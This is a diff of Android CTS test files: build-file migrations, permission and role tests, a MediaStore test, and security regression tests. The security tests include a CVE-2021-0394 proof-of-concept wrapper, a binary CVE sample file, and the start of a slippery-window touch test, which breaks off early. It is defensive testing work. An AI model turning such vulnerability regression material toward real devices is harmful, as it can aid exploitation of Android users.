diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index c5a514199ef..26c195c0268 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -30,7 +30,6 @@ android_test {
test_suites: [
"cts",
"general-tests",
- "mts",
],
platform_apis: true,
}
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 7ac51eaeaf8..d8b6ee3f962 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -43,4 +43,3 @@ LOCAL_MIN_SDK_VERSION := 30
include $(BUILD_CTS_EXECUTABLE)
include $(nnapi_cts_dir)/benchmark/Android.mk
-include $(nnapi_cts_dir)/tflite_delegate/Android.mk
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.bp b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
new file mode 100644
index 00000000000..6acce1d74ed
--- /dev/null
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
@@ -0,0 +1,58 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ // See: http://go/android-license-faq
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+// The "CtsTfliteNnapiDelegateTests_static" has been moved to
+// external/tensorflow/Android.bp, due to the fact that the srcs files
+// are not in the current directory.
+
+// Build the actual CTS module with the static lib above.
+// This is necessary for the build system to pickup the AndroidTest.xml.
+
+cc_test {
+ name: "CtsTfliteNnapiDelegateTestCases",
+ compile_multilib: "both",
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ suffix: "64",
+ },
+ },
+ whole_static_libs: ["TfliteNnapiDelegateTests_static"],
+ shared_libs: [
+ "libandroid",
+ "liblog",
+ "libneuralnetworks",
+ ],
+ static_libs: [
+ "libgtest_ndk_c++",
+ "libgmock_ndk",
+ "libtflite_static",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "mts",
+ "mts-neuralnetworks",
+ "general-tests",
+ ],
+ sdk_version: "current",
+ stl: "c++_static",
+}
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
deleted file mode 100644
index 785f7bd5ad4..00000000000
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ /dev/null
@@ -1,80 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-my_dir := $(call my-dir)
-
-LOCAL_PATH:= external/tensorflow/
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SRC_FILES := \
- tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
- tensorflow/lite/kernels/test_util.cc \
- tensorflow/core/platform/default/logging.cc \
- tensorflow/core/platform/default/env_time.cc \
- tensorflow/lite/kernels/acceleration_test_util.cc \
- tensorflow/lite/kernels/acceleration_test_util_internal.cc \
- tensorflow/lite/delegates/nnapi/acceleration_test_list.cc \
- tensorflow/lite/delegates/nnapi/acceleration_test_util.cc
-LOCAL_CPP_EXTENSION := .cc
-
-LOCAL_C_INCLUDES += external/flatbuffers/include
-LOCAL_C_INCLUDES += external/tensorflow
-LOCAL_C_INCLUDES += external/ruy
-
-LOCAL_CFLAGS := \
- -DPLATFORM_POSIX_ANDROID \
- -Wall \
- -Werror \
- -Wextra \
- -Wno-extern-c-compat \
- -Wno-sign-compare \
- -Wno-unused-parameter \
- -Wno-unused-private-field \
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
-LOCAL_HEADER_LIBRARIES := libeigen gemmlowp_headers libtflite_schema_headers
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_STATIC_LIBRARY)
-
-
-# Build the actual CTS module with the static lib above.
-# This is necessary for the build system to pickup the AndroidTest.xml.
-LOCAL_PATH:= $(my_dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_WHOLE_STATIC_LIBRARIES := CtsTfliteNnapiDelegateTests_static
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
-LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 8f701f3cc36..78675bd740e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -74,6 +74,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
"com.android.permissioncontroller:" +
"id/permission_no_upgrade_and_dont_ask_again_button"
+ const val ALLOW_ALWAYS_RADIO_BUTTON =
+ "com.android.permissioncontroller:id/allow_always_radio_button"
const val ALLOW_RADIO_BUTTON = "com.android.permissioncontroller:id/allow_radio_button"
const val ALLOW_FOREGROUND_RADIO_BUTTON =
"com.android.permissioncontroller:id/allow_foreground_only_radio_button"
@@ -126,6 +128,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
to "@android:string/permgrouplab_location",
android.Manifest.permission.ACCESS_COARSE_LOCATION
to "@android:string/permgrouplab_location",
+ android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
+ to "@android:string/permgrouplab_location",
// Phone
android.Manifest.permission.READ_PHONE_STATE
to "@android:string/permgrouplab_phone",
@@ -508,6 +512,8 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
PermissionState.ALLOWED ->
if (showsForegroundOnlyButton(permission)) {
By.res(ALLOW_FOREGROUND_RADIO_BUTTON)
+ } else if (showsAlwaysButton(permission)) {
+ By.res(ALLOW_ALWAYS_RADIO_BUTTON)
} else if (isMediaStorageButton(permission, targetSdk)) {
// Uses "allow_foreground_only_radio_button" as id
byTextRes(R.string.allow_media_storage)
@@ -577,6 +583,12 @@ abstract class BaseUsePermissionTest : BasePermissionTest() {
else -> false
}
+ private fun showsAlwaysButton(permission: String): Boolean =
+ when (permission) {
+ android.Manifest.permission.ACCESS_BACKGROUND_LOCATION -> true
+ else -> false
+ }
+
private fun isMediaStorageButton(permission: String, targetSdk: Int): Boolean =
if (isTv || isWatch) {
false
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
index 25ba093aaf7..e88572d6f50 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
@@ -28,9 +28,11 @@ import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.AppOpsUtils.setOpMode
import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.modules.utils.build.SdkLevel
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
import org.junit.Before
import org.junit.Test
import java.util.concurrent.TimeUnit
@@ -45,6 +47,12 @@ class PermissionAttributionTest : BasePermissionHubTest() {
val locationManager = context.getSystemService(LocationManager::class.java)!!
private var wasEnabled = false
+ // Permission history is not available on Auto devices running S or below.
+ @Before
+ fun assumeNotAutoBelowT() {
+ assumeFalse(isAutomotive && !SdkLevel.isAtLeastT())
+ }
+
@Before
fun installAppLocationProviderAndAllowMockLocation() {
installPackage(APP_APK_PATH, grantRuntimePermissions = true)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 7929b2e4307..db0b2b4f60c 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -22,6 +22,7 @@ import android.os.Build
import android.support.test.uiautomator.By
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.SystemUtil
+import com.android.modules.utils.build.SdkLevel
import org.junit.After
import org.junit.Assume.assumeFalse
import org.junit.Before
@@ -40,15 +41,17 @@ private const val MORE_OPTIONS = "More options"
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
class PermissionHistoryTest : BasePermissionHubTest() {
private val micLabel = packageManager.getPermissionGroupInfo(
- Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+ Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
// Permission history is not available on TV devices.
@Before
fun assumeNotTv() = assumeFalse(isTv)
- // Permission history is not available on Auto devices.
+ // Permission history is not available on Auto devices running S or below.
@Before
- fun assumeNotAuto() = assumeFalse(isAutomotive)
+ fun assumeNotAutoBelowT() {
+ assumeFalse(isAutomotive && !SdkLevel.isAtLeastT())
+ }
@Before
fun installApps() {
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
index 26fe615fbef..0a2c373d2f8 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest23.kt
@@ -16,8 +16,10 @@
package android.permission3.cts
+import android.content.pm.PackageManager
import androidx.test.filters.FlakyTest
-import com.android.modules.utils.build.SdkLevel
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assert
import org.junit.Assume
import org.junit.Before
import org.junit.Test
@@ -182,11 +184,7 @@ class PermissionTest23 : BaseUsePermissionTest() {
// Request the permission and allow it
// Make sure the permission is granted
requestAppPermissionsAndAssertResult(android.Manifest.permission.CAMERA to true) {
- if (SdkLevel.isAtLeastS()) {
- clickPermissionRequestAllowForegroundButton()
- } else {
- clickPermissionRequestAllowButton()
- }
+ clickPermissionRequestAllowForegroundButton()
}
}
@@ -290,11 +288,7 @@ class PermissionTest23 : BaseUsePermissionTest() {
null to false,
android.Manifest.permission.RECORD_AUDIO to true
) {
- if (SdkLevel.isAtLeastS()) {
- clickPermissionRequestAllowForegroundButton()
- } else {
- clickPermissionRequestAllowButton()
- }
+ clickPermissionRequestAllowForegroundButton()
clickPermissionRequestAllowButton()
}
}
@@ -306,6 +300,34 @@ class PermissionTest23 : BaseUsePermissionTest() {
requestAppPermissionsAndAssertResult(INVALID_PERMISSION to false) {}
}
+ @Test
+ fun testAskButtonSetsFlags() {
+ Assume.assumeFalse("other form factors might not support the ask button",
+ isTv || isAutomotive || isWatch)
+
+ grantAppPermissions(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, targetSdk = 23)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, true)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_FINE_LOCATION, true)
+ assertAppHasPermission(android.Manifest.permission.ACCESS_COARSE_LOCATION, true)
+
+ revokeAppPermissions(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, targetSdk = 23)
+ SystemUtil.runWithShellPermissionIdentity {
+ val perms = listOf(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION,
+ android.Manifest.permission.ACCESS_FINE_LOCATION,
+ android.Manifest.permission.ACCESS_COARSE_LOCATION)
+ for (perm in perms) {
+ var flags = packageManager.getPermissionFlags(perm, APP_PACKAGE_NAME, context.user)
+ Assert.assertEquals("USER_SET should not be set for $perm", 0,
+ flags and PackageManager.FLAG_PERMISSION_USER_SET)
+ Assert.assertEquals("USER_FIXED should not be set for $perm", 0,
+ flags and PackageManager.FLAG_PERMISSION_USER_FIXED)
+ Assert.assertEquals("ONE_TIME should be set for $perm",
+ PackageManager.FLAG_PERMISSION_ONE_TIME,
+ flags and PackageManager.FLAG_PERMISSION_ONE_TIME)
+ }
+ }
+ }
+
private fun denyPermissionRequestWithPrejudice() {
if (isTv || isWatch) {
clickPermissionRequestDontAskAgainButton()
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
index ff5a1c8ead5..c0e100cd7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStoreAudioTestHelper.java
@@ -24,6 +24,7 @@ import android.provider.MediaStore;
import android.provider.MediaStore.Audio.Media;
import android.provider.cts.ProviderTestUtils;
+import androidx.annotation.RequiresApi;
import androidx.test.filters.SdkSuppress;
import androidx.test.runner.AndroidJUnit4;
@@ -91,7 +92,6 @@ public class MediaStoreAudioTestHelper {
public static final int IS_RINGTONE = 0;
public static final int IS_NOTIFICATION = 0;
public static final int IS_ALARM = 0;
- public static final int IS_RECORDING = 0;
public static final int IS_MUSIC = 1;
public static final int YEAR = 1992;
public static final int TRACK = 1;
@@ -135,7 +135,6 @@ public class MediaStoreAudioTestHelper {
values.put(Media.IS_MUSIC, IS_MUSIC);
values.put(Media.IS_ALARM, IS_ALARM);
values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
- values.put(Media.IS_RECORDING, IS_RECORDING);
values.put(Media.IS_RINGTONE, IS_RINGTONE);
return values;
}
@@ -278,6 +277,28 @@ public class MediaStoreAudioTestHelper {
}
}
+ @RequiresApi(Build.VERSION_CODES.S)
+ public static class Audio7 extends Audio1 {
+ public static final int IS_RECORDING = 0;
+
+ private Audio7() {
+ }
+
+ private static Audio7 sInstance = new Audio7();
+
+ public static Audio7 getInstance() {
+ return sInstance;
+ }
+
+ @Override
+ public ContentValues getContentValues(String volumeName) {
+ ContentValues values = super.getContentValues(volumeName);
+ values.put(Media.DATA, values.getAsString(Media.DATA) + ".recording.mp3");
+ values.put(Media.IS_RECORDING, IS_RECORDING);
+ return values;
+ }
+ }
+
@Test
public void testStub() {
// No-op test here to keep atest happy
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
index a196c5a2333..6a4c1996481 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_MediaTest.java
@@ -36,10 +36,10 @@ import android.provider.MediaStore;
import android.provider.MediaStore.Audio;
import android.provider.MediaStore.Audio.Media;
import android.provider.MediaStore.Files.FileColumns;
-import android.provider.MediaStore.MediaColumns;
import android.provider.cts.ProviderTestUtils;
import android.provider.cts.R;
import android.provider.cts.media.MediaStoreAudioTestHelper.Audio1;
+import android.provider.cts.media.MediaStoreAudioTestHelper.Audio7;
import android.provider.cts.media.MediaStoreUtils.PendingParams;
import android.provider.cts.media.MediaStoreUtils.PendingSession;
import android.util.Log;
@@ -157,7 +157,6 @@ public class MediaStore_Audio_MediaTest {
assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
- assertEquals(Audio1.IS_RECORDING, c.getInt(c.getColumnIndex(Media.IS_RECORDING)));
assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
@@ -186,6 +185,41 @@ public class MediaStore_Audio_MediaTest {
}
}
+ /**
+ * The test case checks below behaviors:
+ * 1. The IS_RECORDING column is in Audio table in MediaStore's database since S OS. Insert with
+ * IS_RECORDING column doesn't fail and we can query the result with IS_RECORDING column.
+ * 2. Validate IS_RECORDING is correctly set for database row.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+ public void testStoreNotAudioRecordingMedia() {
+ Audio7 audio7 = Audio7.getInstance();
+ ContentValues values = audio7.getContentValues(mVolumeName);
+ //insert
+ Uri mediaUri = Media.getContentUri(mVolumeName);
+ Uri uri = mContentResolver.insert(mediaUri, values);
+ assertNotNull(uri);
+
+ try (Cursor c = mContentResolver.query(uri, null, null, null, null)) {
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ long id = c.getLong(c.getColumnIndex(Media._ID));
+ assertTrue(id > 0);
+ String expected = audio7.getContentValues(mVolumeName).getAsString(Media.DATA);
+ assertEquals(expected, c.getString(c.getColumnIndex(Media.DATA)));
+ assertEquals(Audio7.MIME_TYPE, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
+ assertEquals(Audio7.IS_ALARM, c.getInt(c.getColumnIndex(Media.IS_ALARM)));
+ assertEquals(Audio7.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
+ assertEquals(Audio7.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
+ assertEquals(Audio7.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
+ assertEquals(Audio7.IS_RECORDING, c.getInt(c.getColumnIndex(Media.IS_RECORDING)));
+ } finally {
+ // delete
+ mContentResolver.delete(uri, null, null);
+ }
+ }
+
@Test(timeout = 60000)
public void testCanonicalize() throws Exception {
// Remove all audio left over from other tests
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index a63856119a5..a98ea1fb756 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -38,6 +38,7 @@ android_test {
"cts",
"general-tests",
"mts-permission",
+ "sts",
],
data: [
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index eb171224235..90d05f99357 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -20,6 +20,7 @@
xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.role.cts.app">
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SEND_SMS" />
<application android:label="CtsRoleTestApp">
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 766a92791d6..b522f9550b9 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -40,6 +40,7 @@ import android.content.pm.PermissionInfo;
import android.os.Build;
import android.os.Process;
import android.os.UserHandle;
+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.provider.Telephony;
import android.support.test.uiautomator.By;
@@ -114,6 +115,9 @@ public class RoleManagerTest {
private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER =
"com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER";
+ private static final String ROLE_SYSTEM_SPEECH_RECOGNIZER =
+ "android.app.role.SYSTEM_SPEECH_RECOGNIZER";
+
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
private static final Context sContext = InstrumentationRegistry.getTargetContext();
@@ -134,8 +138,7 @@ public class RoleManagerTest {
@Before
public void saveRoleHolder() throws Exception {
- List<String> roleHolders = getRoleHolders(ROLE_NAME);
- mRoleHolder = !roleHolders.isEmpty() ? roleHolders.get(0) : null;
+ mRoleHolder = getRoleHolder(ROLE_NAME);
if (Objects.equals(mRoleHolder, APP_PACKAGE_NAME)) {
removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME);
@@ -911,7 +914,7 @@ public class RoleManagerTest {
public void removeSmsRoleHolderThenPermissionIsRevoked() throws Exception {
assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
- String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0);
+ String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS);
addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder);
@@ -925,7 +928,7 @@ public class RoleManagerTest {
&& sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
addRoleHolder(RoleManager.ROLE_DIALER, APP_PACKAGE_NAME);
- String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0);
+ String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS);
addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME);
addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder);
@@ -989,11 +992,46 @@ public class RoleManagerTest {
sRoleManager.isBypassingRoleQualification())).isFalse();
}
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S, codeName = "S")
+ @SecurityTest
+ @Test
+ public void systemRoleDoesNotOverrideUserRevokedPermission() throws Exception {
+ assumeTrue(sRoleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER));
+ String systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER);
+ if (systemSpeechRecognizerPackageName != null) {
+ assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
+ systemSpeechRecognizerPackageName))
+ .isEqualTo(PackageManager.PERMISSION_GRANTED);
+ }
+ assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
+ APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED);
+
+ runWithShellPermissionIdentity(() -> sPackageManager.updatePermissionFlags(
+ android.Manifest.permission.RECORD_AUDIO, APP_PACKAGE_NAME,
+ PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET,
+ Process.myUserHandle()));
+ runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(true));
+ try {
+ addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, APP_PACKAGE_NAME);
+
+ assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO,
+ APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED);
+ } finally {
+ runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(false));
+ }
+ }
+
@NonNull
private List<String> getRoleHolders(@NonNull String roleName) throws Exception {
return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName));
}
+ @Nullable
+ private String getRoleHolder(@NonNull String roleName) throws Exception {
+ List<String> roleHolders = getRoleHolders(roleName);
+ return !roleHolders.isEmpty() ? roleHolders.get(0) : null;
+ }
+
private void assertIsRoleHolder(@NonNull String roleName, @NonNull String packageName,
boolean shouldBeRoleHolder) throws Exception {
List<String> packageNames = getRoleHolders(roleName);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 2e0d0ef46a7..53d8f4ea4e5 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -22,7 +22,9 @@ android_test {
// Include both the 32 and 64 bit versions
compile_multilib: "both",
static_libs: [
+ "androidx.test.ext.junit",
"androidx.test.rules",
+ "androidx.test.runner",
"android-common",
"ctstestserver",
"ctstestrunner-axt",
@@ -56,6 +58,7 @@ android_test {
],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 675106fb276..f8402ec4c11 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -56,6 +56,15 @@
</intent-filter>
</activity>
+ <activity android:name=".SlipperyEnterBottomActivity"
+ android:label="Slippery enter"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+ </intent-filter>
+ </activity>
+
<activity android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
android:label="Test Binder Exploit Race Condition activity"
android:exported="true">
diff --git a/tests/tests/security/res/raw/cve_2019_2186.mp4 b/tests/tests/security/res/raw/cve_2019_2186.mp4
new file mode 100644
index 00000000000..9433d841e34
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2186.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
index 571c293e220..b39bc711ecd 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0394.java
@@ -17,8 +17,8 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import androidx.test.filters.RequiresDevice;
import androidx.test.runner.AndroidJUnit4;
+import dalvik.system.VMRuntime;
import org.junit.runner.RunWith;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
@@ -33,12 +33,12 @@ public class CVE_2021_0394 {
* b/172655291
*/
@Test
- @RequiresDevice
- // emulators always have checkJNI enabled which causes the test
- // to abort the VM while passing invalid input to NewStringUTF
@AsbSecurityTest(cveBugId = 172655291)
public void testPocCVE_2021_0394() throws Exception {
- assertFalse(poc());
+ VMRuntime vmRuntime = VMRuntime.getRuntime();
+ if (!vmRuntime.isCheckJniEnabled()) {
+ assertFalse(poc());
+ }
}
public static native boolean poc();
diff --git a/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
new file mode 100644
index 00000000000..8fe8054a2d9
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts
+
+import android.app.Instrumentation
+import android.graphics.Rect
+import android.os.SystemClock
+import android.platform.test.annotations.AsbSecurityTest
+import android.view.Gravity
+import android.view.InputDevice
+import android.view.MotionEvent
+import android.view.SurfaceControlViewHost
+import android.view.SurfaceHolder
+import android.view.SurfaceView
+import android.view.View
+import android.view.WindowManager
+import android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
+import android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+import androidx.test.core.app.ActivityScenario
+import androidx.test.ext.junit.rules.ActivityScenarioRule
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.PollingCheck
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertNull
+import org.junit.Assert.fail
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+import java.util.concurrent.atomic.AtomicBoolean
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.LinkedBlockingQueue
+import java.util.Queue
+
+val FLAG_SLIPPERY = 0x20000000 // android.view.WindowManager.LayoutParams.FLAG_SLIPPERY
+
+private fun getViewCenterOnScreen(v: View): Pair<Float, Float> {
+ val location = IntArray(2)
+ v.getLocationOnScreen(location)
+ val x = location[0] + v.width / 2f
+ val y = location[1] + v.height / 2f
+ return Pair(x, y)
+}
+
+private fun assertAction(action: Int, event: MotionEvent?) {
+ if (event == null) {
